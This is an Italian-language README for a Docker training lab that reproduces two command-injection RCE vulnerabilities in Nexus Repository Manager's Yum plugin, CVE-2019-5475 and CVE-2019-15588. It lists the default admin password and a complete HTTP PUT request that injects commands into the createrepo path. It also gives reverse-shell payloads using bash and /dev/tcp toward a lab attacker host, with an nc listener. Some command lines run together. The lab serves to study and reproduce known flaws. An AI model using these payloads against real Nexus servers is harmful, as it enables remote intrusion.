
CVE-2019-5475 Campo di addestramento: Vulnerabilità di iniezione di comandi RCE
Campi di tiro CVE-2019-5475 e CVE-2019-15588: Vulnerabilità di iniezione di comandi RCE
CVE-2019-5475 è una vulnerabilità di iniezione di comandi RCE in Nexus relativa al plugin integrato Yum Repository, originariamente divulgata su hackerone. Tuttavia, poiché la prima correzione ufficiale è stata incompleta, ne è derivata un'altra vulnerabilità, CVE-2019-15588.
Entrambe le vulnerabilità richiedono l'accesso come amministratore per essere sfruttate, ma la password di default dell'amministratore di Nexus (admin123) viene spesso trascurata e non modificata, rendendo facile lo sfruttamento.
CVE-2019-5475
├── nexus-yum-core .......... [Progetto Maven per debug: simula l'inserimento di createrepo o mergerepo tramite GUI Nexus]
├── nexus ................... [Directory di montaggio dei dati del contenitore Nexus]
├── attacker ................ [Directory di build della macchina attaccante]
│ └── Dockerfile .......... [File di build Docker per la macchina attaccante]
├── docker-compose.yml ...... [Configurazione di build di Docker]
├── imgs .................... [Immagini per supportare la spiegazione del README]
└── README.md ............... [Questo file README]
cd CVE-2019-5475docker-compose up -dadmin/admin123), dove:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
Questo campo di tiro include anche una macchina attaccante 172.168.50.2, situata nella stessa rete delle due macchine bersaglio, utilizzata per verificare la reverse shell.
Accedi come admin a http://127.0.0.1:8009/nexus/#capabilities, e in Administration -> Capabilities -> Yum: Configuration -> Settings si può trovare il punto di iniezione RCE.
Entrambi i campi di input Path of "createrepo" e Path of "mergerepo" possono essere iniettati, e il risultato dell'esecuzione può essere visto in Status.
Ad esempio, costruendo il PoC bash -c id || python nel punto di iniezione createrepo, si ottiene in Status il risultato del comando bash -c id: uid=200(nexus) gid=200(nexus) groups=200(nexus).
Tramite BurpSuite è possibile intercettare la richiesta PoC corrispondente:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Questo punto di iniezione può essere facilmente sfruttato per creare una reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo sopra, costruisci il payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
Il punto di iniezione è lo stesso di CVE-2019-5475, modifica il PoC in: /bin/bash -c id || /createrepo


Questa vulnerabilità può essere sfruttata con lo stesso metodo per ottenere una reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo, costruisci il payload: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core è un frammento di codice core di Nexus relativo allo sfruttamento di questa vulnerabilità, utilizzato principalmente per eseguire il debug e analizzare il payload inserito direttamente dal backend, senza dover configurare un servizio Nexus completo dal codice sorgente.
